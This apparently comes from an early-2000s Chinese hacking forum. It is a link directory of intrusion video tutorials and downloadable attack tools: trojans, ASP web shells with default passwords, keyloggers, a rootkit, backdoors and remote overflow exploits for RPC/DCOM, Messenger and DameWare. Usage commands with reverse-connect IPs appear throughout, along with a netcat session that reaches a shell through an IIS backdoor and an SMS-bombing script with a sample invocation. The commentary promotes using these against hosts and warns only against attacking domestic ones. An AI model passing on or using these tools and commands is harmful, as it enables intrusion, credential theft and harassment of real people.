| 用天网查QQ隐身好友IP地址动画：http://www.chinesehack.org/down/show.asp?i d=3725&down=1
破解入门教学演示：http://www.chinesehack.org/down/show.asp?id=3721&do wn=1
通过Radmin获取Admin密码动画：http://www.chinesehack.org/down/show.asp ?id=3720&down=1
4899动画入侵教程：http://www.chinesehack.org/down/show.asp?id=3719& down=1
动网logout.asp漏洞利用动画教程： http://www.chinesehack.org/down/show.asp?id=3641&down=1
动网logout.asp漏洞利用动画教程（另一则） ：http://www.chinesehack.org/down/show.asp?id=3644&down=1
接踵而至的LB5K论坛漏洞入侵检测动画演示 ： http://www.chinesehack.org/down/show.asp?id=3585&down=1
remote-trial使用动画教程： http://www.chinesehack.org/down/show.asp?id=3594&down=1
telnet代理使用方法动画教程 http://www.chinesehack.org/down/show.asp?id=3634&down=1
(可以）
打造菜鸟的网页木马动画教材 http://www.chinesehack.org/down/show.asp?id=3633&down=1
入侵交友网站动画演示 http://www.chinesehack.org/down/show.asp?id=3632&down=1
windows超长目录漏洞利用动画 http://www.chinesehack.org/down/show.asp?id=3627&down=1
psexec使用演示 http://www.chinesehack.org/down/show.asp?id=3600&down=1
shed＋pqwak2破解98密码动画演示 http://www.chinesehack.org/down/show.asp?id=3598&down=1
一个黑客小游戏过关全攻略动画演示 http://www.chinesehack.org/down/show.asp?id=3595&down=1
remote-trial的使用方法动画演示 http://www.chinesehack.org/down/show.asp?id=3594&down=1
WINNTAutoAttack 2.6+简单使用教程 http://www.chinesehack.org/down/show.asp?id=3567&down=1
台湾反弹木马简体版+动画教程 http://www.chinesehack.org/down/show.asp?id=3365&down=1
后门SRV（含动画教程） http://www.chinesehack.org/down/show.asp?id=3358&down=1
数据通XP v2.5 破解动画 http://www.chinesehack.org/down/show.asp?id=3124&down=1
SOCKS5代理制作教程
http://www.ststst.com/down/down.asp?downid=1&id=910
解压密码http://www.cycycy.net
用被禁用的guest账号登陆动画教程
http://www.ststst.com/down/down.asp?downid=1&id=909
解压密码http://www.cycycy.net
MySql入侵动画教程
http://www.ststst.com/down/down.asp?downid=1&id=908
解压密码http://www.cycycy.net
SQL2入侵实例
http://www.ststst.com/down/down.asp?downid=1&id=907
解压密码http://www.cycycy.net
隐藏帐号后门教程
http://www.ststst.com/down/down.asp?downid=1&id=903
解压密码http://www.cycycy.net
3389动画教程
http://www.ststst.com/down/down.asp?downid=1&id=902
解压密码http://www.cycycy.net
修改终端客户端端口动画教程
http://www.ststst.com/down/down.asp?downid=1&id=901
解压密码http://www.cycycy.net
Unicode漏洞入侵动画教程
http://www.ststst.com/down/down.asp?downid=1&id=1055
解压密码http://www.cycycy.net
IDQ/IDA漏洞的溢出入侵动画教程
http://www.ststst.com/down/down.asp?downid=1&id=1029
解压密码http://www.cycycy.net
获取其他帐户密码动画教程
http://www.ststst.com/down/down.asp?downid=1&id=1030
解压密码http://www.cycycy.net
利用文件夹安装木马动画教程
http://www.ststst.com/down/down.asp?downid=1&id=1137
解压密码http://www.cycycy.net
radmin远程控制动画教程
http://www.ststst.com/down/down.asp?downid=1&id=1136
解压密码http://www.cycycy.net
网页木马动画制作教程
http://www.ststst.com/down/down.asp?downid=1&id=1147
解压密码http://www.cycycy.net
简单破解网吧下载动画教程
http://www.ststst.com/down/down.asp?downid=1&id=968
解压密码：http://www.cycycy.net
解锁注册表动画教程
http://www.ststst.com/down/down.asp?downid=1&id=969
解压密码：http://www.cycycy.net
还原精灵下安装木马动画教程
http://www.ststst.com/down/down.asp?downid=1&id=972
解压密码：http://www.cycycy.net
进入网吧硬盘动画教程
http://www.ststst.com/down/down.asp?downid=1&id=971
解压密码：http://www.cycycy.net
利用IE来运行网吧系统文件动画教程
http://www.ststst.com/down/down.asp?downid=1&id=970
解压密码：http://www.cycycy.net
突破WIN9X的密码限制动画
http://www.ststst.com/down/down.asp?downid=1&id=1340
asp木马提升权限动画
http://www.ststst.com/down/down.asp?downid=1&id=1336
DameWare远程控制器的应用教程
http://www.ststst.com/down/down.asp?downid=1&id=1324
简单破解练手教程
http://www.ststst.com/down/down.asp?downid=1&id=1326
简单破解瑞星网络版杀毒软件的限制
http://www.ststst.com/down/down.asp?downid=1&id=1330
DameWare远程控制器的应用教程
http://www.ststst.com/down/down.asp?downid=1&id=1324
国外的irc木马+教程
http://www.ststst.com/down/down.asp?downid=1&id=1319
pwdump3结合lc4破密码教程
http://www.ststst.com/down/down.asp?downid=1&id=1317
WebDav漏洞溢出实列
http://www.ststst.com/down/down.asp?downid=1&id=1245
解压密码http://www.cycycy.net
LB5000XP版论坛remmail.cgi文件过滤不严漏洞演示
http://www.ststst.com/down/down.asp?downid=1&id=1290
解压密码http://www.cycycy.net
LB5000XP版论坛remmail.cgi文件过滤不严漏洞演示(2)
http://www.ststst.com/down/down.asp?downid=1&id=1291
解压密码http://www.cycycy.net
暴力破解163，21cn信箱
http://www.ststst.com/down/down.asp?downid=1&id=1292
解压密码http://www.cycycy.net
用Ollydbg破解C++的crackme程序通用方法动画教程 :
http://fpxxp.com/vc.rar
用wktdebugger破解p-code的crackme程序（VB）动画教程
http://fpxxp.com/w1.zip
用ollydbg静态分析和动态追踪的一般步骤
http://fpxxp.com/olly1.zip
一个VB的crackme程序的三种破解方法动画教程
http://fpxxp.com/vb-1.zip
两个SmartCheck破解C的crackme程序动画教程
http://fpxxp.com/ccc.zip
w32dasm解密crackme及介绍两个新软件peid和guw32
http://fpxxp.com/new1.zip
用winhex破解两个crackme的动画教程
http://fpxxp.com/webdiy.zip
用游戏工具解密软件动画教
http://fpxxp.com/game.zip
如何破解收费站点的密码动画教程 :
http://www.65888.com/soft/down.asp?id=2301&no=1
real helix universal server字符串漏洞演示
http://cn.hacker001.com/down/show.asp?id=582&down=1
快速获取bbsxpsql的管理密码动画
http://cn.hacker001.com/down/show.asp?id=545&down=1
不用软件看QQ聊天记录动画
http://cn.hacker001.com/down/show.asp?id=542&down=1
密码让DVBBS自已招的动画
http://cn.hacker001.com/down/show.asp?id=541&down=1
制作自己的冰河服务端
http://cn.hacker001.com/down/show.asp?id=396&down=1
剑鹰会员光盘
会员光盘共四套,分电子图书,动画教程,程序源码,常用工具.
http://61.156.25.4/soft/sword/CNSE_DISK_1.ISO
http://61.156.25.4/soft/sword/Cnse_Disk_2.ISO
http://61.156.25.4/soft/sword/Cnse_Disk_3.ISO
http://www.aq007.com/user/sword/CNSE_DISK_4.ISO
------------------------------------------------------
取ichat聊天室管理员密码动画教程
http://www.aq007.com/user/sword/soft/200310/ichat-asp-db.zip
MD5值 d64ac69598f5e7ad07f5ab78de5184ca
-------------------------------------------------------
238款黑客常用工具集合
http://61.156.25.4/soft/sword/soft/temp.rar
ByPassFireWall.zip-->逃过防火墙得到一个cmd下的shell的程序
CandyProxy.zip-->http代理
Cleaner.exe -->清除IE的temp,cache等和小工具
dhttp.exe-->命令行下下载东西的程序。
FileTime.exe-->更改文件时间程序
FPipe.exe-->端口转向程序(网上下载的)
Gina.zip->gina木马
inst.zip->操＊＊＊＊作注册表的一个程序，类似SC,只是功能没sc那么多
installterm.zip-->命令行下安装终端服务程序
InstDriver.exe-->安装驱动程序
Jc.All.WinEggDropshell.rar-->WinEggDropShell的配置和使用动画
KeyLog.zip-->键盘记录1.0版本
Letmein.exe-->破解ipc密码的简单程序
listip.exe-->查看系统所有的IP
md5.zip-->将文件或字符串转为md5的checksum值
mport.exe-->类似fport.exe的程序，小很多,修改过，可以用于server 2003
NetSend.zip-->向有打开messenger的系统发送信息的程序
never.zip-->将某个用户名的登陆次数改为零的程序，需要system权限
ntservice.zip-->其一个或多个程序以服务方式启动的辅助程序
PassSniffer.zip-->密码嗅探程序
Patchsql.zip-->暂时给mssql打补丁程序(sql蠕虫后应该就不需要这东西了)
PortRelay.exe-->端口转发程序，类似fpipe.exe，不过小很多
process.exe-->查看和杀进程程序
pubkeylog.zip-->键盘记录程序，支持在线连接上去查看用户输入
reboot.exe-->重启，关机，注销程序
sid.exe-->查看本地和远程系统的sid
smac.exe-->更改MAC地址程序
SnifferPort.zip-->监视某个端口的连接情况，并记录.
sysinfo.exe-->查看系统的信息，支持server 2003
token.exe-->查看winlogon的pid以及登陆用户
terminalport.zip-->查看和修改终端端口
tlist.exe-->查看和杀进程
tskill.exe-->查看和杀进程
UnPack.rar-->WinEggDropShell终极版本的无压缩版本
uptime.exe-->查看系统启动了多长时间
webget.exe-->一个命令行中下载东西的程序
whois-->查看某个IP的来源。
WinEggDropShellFinal.zip-->WinEggDropShell终极版本压缩版
XYZCmd.zip-->类似psexec的小程序
--------------------------------------------------------
XDcom.rar[远程溢出攻击程序]70%成功率
http://211.90.139.131/sword/soft/Xdcom.rar
警告:不要对付国内主机!!!!!后果自负!!!!
针对以下版本:
Windows xp SP1 (cn)
Windows 2000 SP3 (cn)
Windows 2000 SP4 (cn)
Windows 2000 SP3 (english)
Windows 2000 SP4 (english)
Windows XP SP0 (english)
Windows XP SP1 (english)
Usage: chdcom
这版本我已成功测试,70%成功率,可怕!!!,但EXIT目标后再溢出只得等目标
重启才行.
------------------------------------------------------
RPC 溢出程序[针对所有版本]
http://211.90.139.131/sword/soft/cndcom.rar
---------------------------------------------------
dcomrpc（通用溢出工具） 只要不打补丁 几乎是100%
http://61.156.25.4/soft/sword/soft/dcomrpc.rar
使用方法：dcom -d ip 这个是最简单的参数 不反弹方式
----------------------------------------------------
9seekbook留言簿SQL注入动画
http://www.aq007.com/user/sword/soft/200310/9seekbook.rar
MD5值 b5868c9109961876eea2362a830316ff
-----------------------------------------------
最新三款ASP木马
http://www.aq007.com/user/sword/soft/200310/newmm.zip
海阳顶端网asp木马红粉佳人版
这个版本有两个密码,密码第一个是makelove,第二个是haiyangtop.126.com,用记事本打开lcx.as p查找替换这两个单词就可以改成别的密码了。
这个版本没有测试，不知会有什么问题，不过我很喜欢它。
－－－－－－－－－－－－－－－－－－－－－－－－－－－－－
asp木马newhjzf版
用户名，密码，fso密码分别为： hjzfasp lpasp haiyangtop.126.com
本来想写上海洋顶端网asp木马的，可是想到太麻烦大家了，就省了！（我拿到asp木马一般就先去掉那几个字-----不是不尊 重别人的劳动成果，而是： 那几个字就是病毒啊，删了就没事了）
－－－－－－－－－－－－－－－－－－－－－－－－－－－－－
蓝屏asp木马
用户名： zhang 密码： cell fso密码：zhangg
-----------------------------------------------------------
简单防黑之限制端口
http://www.aq007.com/user/sword/soft/200310/xzdk.rar
MD5值 b99501a7457da7d3eb5f00a69738e841
---------------------------------------------------
MS-043攻击+扫描工具
http://www.aq007.com/user/sword/soft/200310/messenger.zip
MD5值 f46b606063cf5412ae50779cc40b2c65
---------------------------------------------------
SQL注入攻击方法电子书
http://www.aq007.com/user/sword/soft/200310/sql.rar
非常详细的收集了网络中各种对SQL注入攻击的方法文档,其中不乏经典之作,推荐大家看看
MD5值 011cf7f65ce34c51940c881e2749b712
----------------------------------------------------
eeye的ms03-043 Messenger漏洞扫描器
http://www.aq007.com/user/sword/soft/200310/RetinaMSGSVC.zip
MD5值 c7327dd6acad30c7c7bd23737f773b58
------------------------------------------------------
网络神偷 5.2 版
http://www.aq007.com/user/sword/soft/200310/Nethief521020.zi p
MD5值 2ff60611c8b0ee1d618fa65a036bd1fb
网络神偷是一个专业级的远程文件访问工具，具有以下特点： 1.针对磁盘文件系统：本软件针对远程文件访问，而不是远程控制，力求“专而精”。并高度模枋 Windows 资源管理器，简单易用，我们的目标是使访问远程驱动器就象访问本地的一样方便。 2.强大的文件操＊＊＊＊作功能：可对本地及远程驱动器进行：新建文件、新建文件夹、查找文件、剪切、复制、粘贴(包括：本地文件 操＊＊ ＊＊ 作、 上传、下载、同远程主机的文件复制与移动)、本地运行、远程运行、重命名、删除、查看、修改驱动器属*、修改文件属*等操＊＊＊＊ 作 ， 支 持断点续传，并且所有操＊＊＊＊作均支持多选及文件夹操＊＊＊＊作。 3.运用了“反弹端口原理”与“HTTP 隧道技术”： “反弹端口原理”：由服务端主动连接客户端，因此在互联网上可以访问到局域网里通过 NAT 代理(透明代理)上网的电脑，并且可以穿过防火墙(包括：包过滤型及代理型防火墙)。
-------------------------------------------------------
外挂制作教程V4.0完美注册版
http://www.aq007.com/user/sword/soft/200310/waigzz.rar
MD5值 8e6e1c107e589ae295fdd91d40eb3772
-----------------------------------------------------
超级后门2.0 +动画教程+VB源码
http://www.aq007.com/user/sword/soft/200310/hm.rar
1，只有开机时才建用户
2，建的用户和密码不能改变
这回是每格自己设定的时间建一次用户。
MD5值 856f8a9fffd2e59d0e882d0a72d95383
-------------------------------------------------
iSMS.vbs手机炸弹
http://www.aq007.com/user/sword/soft/200310/ismsvbs.zip
使用方法:
CScript iSMS.vbs 手机号码 您的姓名 您的*别 发送次数 发送内容 [累加因子]
注意: *别中1表示先生,2表示女士,如果您的姓名或发送内容中有空格或为空时,请使用
引号将该参数引住。由于该网站不允许提交重复数据,所以在循环中参加了累加因子,该参数
是数值型可选项。
CScript iSMS.vbs -h 查阅用法实例。
例如:
CScript iSMS.vbs 01234567891 Lilo 1 100 hello 120
累加因子，会加到 内容和姓名上面随短信发出去，对方接到后会是
Lilo:121 什么什么的这样的名字。
MD5值 bcfc3ad9149020251afb89265ed1413c
------------------------------------------------------
跨站ASP和PHP取COOKIE程序
http://61.156.25.4/soft/sword/soft/200310/cookie.zip
MD5值 142856ce81818ce941298e3b551f49f8
------------------------------------------------
局域网ip冲突攻击器
http://61.156.25.4/soft/sword/soft/200309/CheatARP.rar
请先安装 WinPcap_3_0_a.exe
首先此软件是基于WinPcap的，请在安装了WinPcap_3_0_a.exe后再使用该程序。
此程序只适合局域网使用，对同网段的机器有效。
该程序主要要两个功能一个就是一般的ARP欺骗，即更新目标机器的arp高速缓存
为自己伪造的IP地址和MAC地址。二就是进行IP冲突。
-------------------------------------------------------
最新开启3389工具
一个在命令行下,开启服务器终端服务(3389)的工具
Usage: <0/1>
0 = reboot
1 = not reboot
在添加和删除中看不出终端服务被安装的痕迹，也就是启动终端前不会打钩
安装完终端后会删除在管理工具中的终端快捷图标
注意：重启生效
http://61.156.25.4/soft/sword/soft/200309/new3389.rar
=======================================================
MS03-046漏洞扫描器
http://www.aq007.com/user/sword/soft/200310/MS03-046Scanner. zip
MD5值 c96b1ef92ff1561c2b0e71dc93e9f2e9
针对MS03-046 Microsoft Exchange 2000 Heap Overflow的漏洞扫描器
----------------------------------------------------
Nikto 1.31
著名的且功能强大的WEB扫描工具.
它可以扫描指定主机的WEB类型,主机名,特定目录,COOKIE,特定CGI漏洞,返回主机允许的http模式等等,比如:扫 描wendavx,SQlnet.log(包含敏感信息).
您可以自己不断增加和修改扫描选项,使之成为功能完备的WEB审计工具( 当入侵扫描工具当然也可以)
http://61.156.25.4/soft/sword/soft/200310/nikto.zip
MD5值 be9ecfa981374956b487db30a85e4169
---------------------------------------------------
SQL注入扫描器
功能简介：
扫描网站页面中存在有SQL注入攻击点，方便快捷。能自动识别程序员设定的陷阱。该版本为功能限制版，不提供破解功能
使用帮助：
比如你想测试的页面为：http://www.***.com，则直接输入即可。如果想对子页面测试，则要输入http://w ww.xxx.com/zzzz/yyy.asp。
http://61.156.25.4/soft/sword/soft/200309/sqlasc.zip
----------------------------------------------------
网络游戏外挂制作WPE教程
http://www.aq007.com/user/sword/soft/200310/wpe.zip
MD5值 4d999239424f5a995f0c8611e5628e6e
------------------------------------------------
金瓶梅电影后台管理员扫描器
http://61.156.25.4/soft/sword/soft/200309/soft2003-9-6httpsc an.rar
黄金眼 VER 1.1
暂时还是扫描“金梅电影”那套程序的管理员名和密码最有效。不过呢，多了一个“自定义”功能。这样如果对方修改了表名或字段名， 你也可以自己设定。本来这个功能是想用XML做成站点模板，方便大家添加新的站点用来扫描。那样通用*更强些。但是实在懒得做那 么大的修改，先凑合吧。
在测试页面那要填写全：比如“http://www.abc.com/movie.asp?id=1184”然后扫描就可以了。 只开了两个线程扫，不过速度还可以。这个版本对扫描的算法做了改进，“据说”快多了~~~ ^@^
顺便说一下~~C#写的，所以要装.net freamwork
http://www.microsoft.com/downloads/details.aspx?FamilyID=262 d25e3-f589-4842-8157-034d1e7cf3a3&displaylang=zh-cn
到这里下吧！
如果你确认是“金梅电影”而又扫不出来帐号，那你运气很不好。站长一定是修改过程序了。
用“金梅电影”的伙计们别怪我 ^@^
如果扫描器扫描出管理员名或密码的长度，而扫描不出管理员名或密码。那么站长一定使用的是中文或其他符号（比如ALT+255输 入的假空格）。要知道，这次针对算法的改进不够彻底，还不能做那么大量的扫描。
-------------------------------------------------------
MD5密码破解工具集合
D5密码破解工具集合
－－－－－－－－－－－－－－
demd5.zip
DeMD5 可以破译经 MD5 算法编码过的密码，如有些共享软件或论坛程序的注册码（密码）就是使用 MD5 算法编码的。
由于 MD5 是一种不可逆的编码算法，因此要“还原”出原始密码就只能用穷举法（暴力法）了。
本程序使用了公开的 MD5 算法模块，在P4-1.5G的机器上一秒钟可以尝试约20000个号码。另外本程序还带有四个实用的密码字典
－－－－－－－－－－－－－－－
MD5 Text Hasher.rar
一个按照MD5算法把文字转化成密文的小工具！
－－－－－－－－－－－－－－－
md59.zip
感谢使用本软件，由于本人有大量的MD5数据需要转换，所以写了这个软件,不要见笑啊！
如果是1.0以前的版本，都主要是靠＊＊＊＊字典来解密的，0.5版本支持直接加密功能，0.7版本支持外部字典的编辑和更改，0 . 9 则 支持批量解密非常方便，但所有的解密都需要用到字典，字典的强大对于解密的效果无疑是有帮助的。（要修改内部字典必须要知道我的 真名才可以呀~:)!@@#@$。
1.0的版本则是直接对数据的加密，严格按照MD5的加密算法进行数据处理的，解密也是直接解密的，但效果不太好，在以后版本中 会加以修正。
md5.asp必须有脚本解释的WEB服务器才能使用（win2000的IIS可以的），修改自动网5.0的MD5.asp
快捷键说明：
"F2"内部字典加密
"F3" 内部字典解密
"F4" 二次加密
"F5" 调用MD5算法加密
"F6" 调用解密算法解密
"F11"软件解锁
"CTRL+z" 将当前密码存入字典文件MD5.txt
"ctrl+E" 编辑内部字典文件
"CTRL+L" 查看内部字典文件
"CTRL+x" 批量输出md5密码
如果有什么问题可以与我联系，QQ:8842210
申明：hackpass.exe这个软件并非本人所写，虽然存在BUG，但希望大家都能了解它！
本人是MD5算法爱好者，尝试过许多方法都不理想，位高手能指点一二！
－－－－－－－－－－－－－－－－－－
md5crackv1.1.rar
修正了1.0中的几个问题：微调按钮对数字的调整无效的 Bug.线程状态显示框的闪烁和不稳定的问题.改变了进度保存文件的格式,即改变了以前读入出错的问题,又方便了直接修改.
http://61.156.25.4/soft/sword/soft/200309/MD5jihe.zip
----------------------------------------------------
Cain v2.5 beta38
Cain v2.5 beta38 for NT/2000/XP
这是一个可以破解屏保、PWL密码、共享密码、缓存口令、远程共享口令、SMB口令、支持VNC口令解码、Cisco Type-7口令解码、Base64口令解码、Access Database口令解码、Cisco PIX Firewall口令解码、Cisco MD5解码、NTLM Session Security口令解码、IKE Aggressive Mode Pre-Shared Keys口令解码等综合工具，还可以远程破解，可以挂字典以及暴力破解，其sniffer功能极其强大，几乎可以明文捕获一切帐 号口令，包括FTP、HTTP、IMAP、POP3、SMB、TELNET、VNC、TDS、SMTP、MSKERB5-PRE AUTH、MSN、RADIUS-KEYS、RADIUS-USERS、ICQ、IKE Aggressive Mode Pre-Shared Keys authentications等，目前已经提供对Winpcap v3.0支持
http://www.aq007.com/user/sword/soft/200310/cain25b38.zip
MD5值 40ab91e4d0b158172ae748ddc7e666b8
-------------------------------------------------
Windows NT IPC$暴力密码破解程序
http://61.156.25.4/soft/sword/soft/200309/CrackNT.rar
----------------------------------------------------
BBSXP.rar[BBSXP论坛漏洞利用工具]
http://61.156.25.4/soft/sword/soft/BBSXP.rar
-------------------------------------------------
RPC溢出动画
http://61.156.25.4/soft/sword/soft/rpcdonghua.rar
原理
http://www.cnse8.com/showart.asp?art_id=248&cat_id=3
工具
http://www.cnse8.com/showsoft.asp?soft_id=206
通用溢出工具
http://www.cnse8.com/showsoft.asp?soft_id=209
CMD下RPC扫描器.速度超快
http://www.cnse8.com/showsoft.asp?soft_id=210
RPC 溢出补丁
http://www.cnse8.com/showsoft.asp?soft_id=211
----------------------------------------------------
对付没有开放IPC共享工具
http://61.156.25.4/soft/sword/soft/200308/share.rar
使用说明详见论坛
http://bbs.cnse8.com/viewthread.php?tid=2275
------------------------------------------------------
用ASP页面漏洞引发的渗透攻击工具包
一次ASP页面漏洞引发的渗透攻击的程序包,LC3为LC3的安装文件,SMBPROXY这个不用说了吧,压缩包里有教程,cm d.asp为抓图中所用的ASP木马
教程详见
http://love.8881188.com/showart.asp?art_id=12&cat_id=1
http://61.156.25.4/soft/sword/soft/SMBProxy.rar
-----------------------------------------------------
内网也做服务器
这下在内网的朋友，可以过一下做服务器的瘾了！相信很多朋友都是在内网的，比如说偶！
http://61.156.25.4/soft/sword/soft/200308/LANserver.rar
----------------------------------------------------
ASP木马生成机
http://61.156.25.4/soft/sword/soft/200309/cnse8.comforum.rar
生成不被查杀的海洋ASP木马的程序，用的是XP。NET版的，修改了漏洞!!
------------------------------------------------------
IIS后门
http://61.156.25.4/soft/sword/soft/200308/iis_backdoor.rar
使用方法：
将本软件放在服务器上运行即可安装后门，通过IIS端口（一般是80）连接，
可以穿透防火墙。
连接方法：
打开NC，键入命令： -vv IP地址 80
当提示连接80端口后键入命令：get /%08/df.lh (df.lh可以随便添，只要后缀是lh即可）
就会提示we got it，然后可以运行命令了。
如果系统发生错误，只要将%systemroot%/system32/inetsrv/metaback/metabase. bin
复制到%systemroot%/system32/inesrv/下覆盖即可恢复。
Microsoft Windows 2000 [Version 5.00.2195]
(C) 版权所有 1985-2000 Microsoft Corp.
E:\WINNT\system32>nc -vv 127.0.0.1 80
127.0.0.1: inverse host lookup failed: h_errno 11004: NO_DATA
(UNKNOWN) [127.0.0.1] 80 (http) open
^C
E:\WINNT\system32>nc
Cmd line: -vv 127.0.0.1 80
127.0.0.1: inverse host lookup failed: h_errno 11004: NO_DATA
(UNKNOWN) [127.0.0.1] 80 (http) open
get /%08/df.lh
We Got It!
dir c:\
Microsoft Windows 2000 [Version 5.00.2195]
(C) 版权所有 1985-2000 Microsoft Corp.
D:\WINNT\system32>
---------------------------------------------------
WDB论坛漏洞动画
http://www.chinesehack.org/soft/book/wdbbbscai-dh.zip
leadbbs最新漏洞演示
http://www.chinesehack.org/soft/book/leadbbs-dh.rar
动网论坛有史以来最大的安全漏洞动画
动网论坛有史以来最大的安全漏洞动画注:只有前一半后一半进入后台管理还没搞清楚。原来DVBBS6.0有一个可以在前面管理的 ，想通修改这个在前面管理。结果做了很久才发现dvbbs6.1把这个取消掉后一半等我搞清楚再做上。
http://www.chinesehack.org/soft/book/dvbbbuypostcai-db.zip
10秒破解动网VIP下载动画教程
http://www.chinesehack.org/soft/book/dvbbsdown-dh.rar
搜毒会员下载系统SQL INJECTION漏洞动画
http://www.chinesehack.org/soft/book/vipcai-dh.rar
lb5000修改注册服务条款和声明法动画演示
http://www.chinesehack.org/soft/book/lb5000changereg-dh.rar
lb5000 bug导致删除文件动画演示
http://www.chinesehack.org/soft/book/lb5000bug-dh.rar
利用dvbbs短消息漏洞入侵服务器的动画
http://www.chinesehack.org/soft/book/dvbbs-msm-db.rar
利用动网bug获cookie动画演示
http://www.chinesehack.org/soft/book/headbuggetcookie-dh.rar
雨点下载系统入侵动画
http://pdp.nease.net/ydrq.rar
快速获取bbsxpsql的管理密码动画演示
http://www.chinesehack.org/soft/book/bbsxpsql-dh.rar
盗帅下载sql注入获管理员权限演示
http://www.chinesehack.org/soft/book/daoshui-jc.rar
论坛中url欺骗
http://www.chinesehack.org/soft/book/urlc-jc.rar
通过Radmin获取Admin密码动画
http://www.chinesehack.org/soft/book/RadminGETtAdminPSW-jc.r ar
暴力破解论坛帐号
http://www.chinesehack.org/soft/book/pobbs.zip
动网flash跨站演示
http://www.chinesehack.org/soft/book/dvbbs6.0flashattack.zip
flash加密的网站破解动画演示
http://www.chinesehack.org/soft/book/flashcr-jc.rar
使用Accessdiver爆破会员弹出式窗口动画
http://www.chinesehack.org/soft/book/Accessdiver-jc.rar
动网logout.asp漏洞利用教程
http://longker.7x24.cn/download/dvbbs-logout.rar
LB5K论坛入侵动画演示
http://www.chinesehack.org/soft/book/lb5k-jc.rar
提升asp木马权限动画教程
http://longker.7x24.cn/download/asphack.rar
破解小凤搜毒和浪客会员区另一方法
http://longker.7x24.cn/download/hackvip.rar
数据库教程
http://longker.7x24.cn/download/dbase.rar
入侵AGBII v1.3留言本图文详解
http://www.chinesehack.org/soft/book/AGBIIv1_3-jc.zip
构造特殊字符来进行渗透入侵图文详解
http://www.chinesehack.org/soft/book/gztszfrq-jc.zip
LB5KRemmail.cgi漏洞演示（2）
http://ty168.net/story/lb2.rar
LB5Kxp版remmail.cgi漏洞演示
http://ty168.net/story/lb1.rar
利用动网论坛BUG获取主机Admin权限
http://www.netsill.net/wolf/Dvbbs.rar
破解海阳顶端网asp木马xpnet.asp密码动画
http://www.chinesehack.org/soft/book/crxpnet-dh.rar
密码让DVBBS自已招的动画
http://www.chinesehack.org/soft/book/sqldvbbs.zip
用x-way破解FTP动画演示
http://www.chinesehack.org/soft/book/crFTP-dh.rar
用x-way破解指定伊妹儿动画演示
http://www.chinesehack.org/soft/book/cremail-dh.rar
攻击程序
1，darewere远程溢出程序。
http://www.hacker.com.cn/down/DameWare.rar
特征断口6129，darewere远程控制控制程序溢出工具，命令格式是：
DameWare.exe
反向连接，需要有外网ip，溢出后在本地用nc监听端口，普通防火墙能饶过。
2，Messenger远程溢出程序。
http://www.hacker.com.cn/down/MsgHack.rar
Messenger服务溢出程序，对服务器没有太大的作用，对普通客户机成功率比较高，考虑到危害的问题，此版本只能针对xp+sp1，不能攻击2000，命令格式是：
MsgHack -h 192.168.0.1 -v 3 -l 1 -s 1 -r 192.168.0.5 -p 99
同样是反向连接，成功率为60%以上。
3，Retina RPC DCOM scan +RPC 图形界面溢出程序。
http://www.hacker.com.cn/down/rpc.rar
retina的扫描加攻击程序，现在对外网几乎不能成功，对入侵服务器或者是网关后的渗透有非常好的效果！个人发现内网有90%可以成功！
后门木马
1，内核级rootkit：hxdef100
http://www.hacker.com.cn/down/hxdef100.zip
参数有点多，单纯使用并没有太大的优点，只能实现端口复用和简单的shell，但是别忽略了他的功能！如果配合功能强大的后门，那将是非常厉害的！！（注意：hxdef100.exe是主程序，千万不能自己运行，不然清除就麻烦了！请详细看说明，不建议新手使用！）
2，wineggdropshell
http://www.hacker.com.cn/down/wineggdropshell.rar
功能非常强大的后门程序！配置简单方便，可自定义端口，实现常见的安全检测，相当于一个工具箱。（强烈建议配合hxdef使用！）
3，TFTPD
http://www.hacker.com.cn/down/tftpd.rar
由lilo提供的TFTP程序，可自己修改一些配置，在入侵后shell下传输数据比较方便。
4，脚本后门
http://www.hacker.com.cn/down/脚本后门.rar
包含cmd.cgi、cmd.pl、lpmm.asp、phpshell.php，短小精干的脚本后门程序，用于SQL注入并上传程序后控制服务器和提升权限。由臭要饭的！提供。
5，iget
http://www.hacker.com.cn/down/iget.rar
小骗子的iget脚本，上传到服务器然后运行，可下载预定义网页路径的程序，然后用某种方法运行，功能单一，非常适合入侵。
6，SQL综合利用工具
http://www.hacker.com.cn/down/SQLTools.rar
由“蓝色凯博”CEO发哥编写的SQL利用程序，能实现非常强大的功能，可利用数据库的存储过程实现非常多的功能，是SQL入侵中不可多得的好东东。
7，remoxec
http://www.hacker.com.cn/down/remoxec.zip
没有3389，没有ipc$，没有连接方式，只知道对方的帐户和密码，如何连接，如何进一步入侵？使用这个工具就可以实现连接并运行的目的。（需要rpc支持！）
8，幻影
http://www.hacker.com.cn/down/幻影.rar
用于木马或者后门的加壳，对国内杀毒软件和安全程序能比较好的躲开，但是很多次实验后发现国外的服务器上的那些安全程序能杀。
脚本相关
1，access注入程序
http://www.hacker.com.cn/down/Creak.rar
用于发现SQL注入漏洞后的自动破解，程序不是很稳定，多试几次。
2，md5解码器
http://www.hacker.com.cn/down/md5解码器.rar
md5的暴力破解程序，使用简单方便，时间+运气=成功破解。
3，access注入程序2
http://www.hacker.com.cn/down/nbsi.rar
全自动的access注入程序，功能不错，内有注册码。
扫描程序
1，Fluxay5
http://www.hacker.com.cn/down/Fluxay5.rar
这个不用多说了，流光5。
2，xscan3
http://www.hacker.com.cn/down/xscan3.rar
http://www.xfocus.net/tools/200403/X-Scan-v3.1-cn.rar
http://ftp.pconline.com.cn/pub/download/200402/binghe2004.rar
Perl语言简介
http://rony.4y.com.cn/linglong/perl/perl1.htm
|
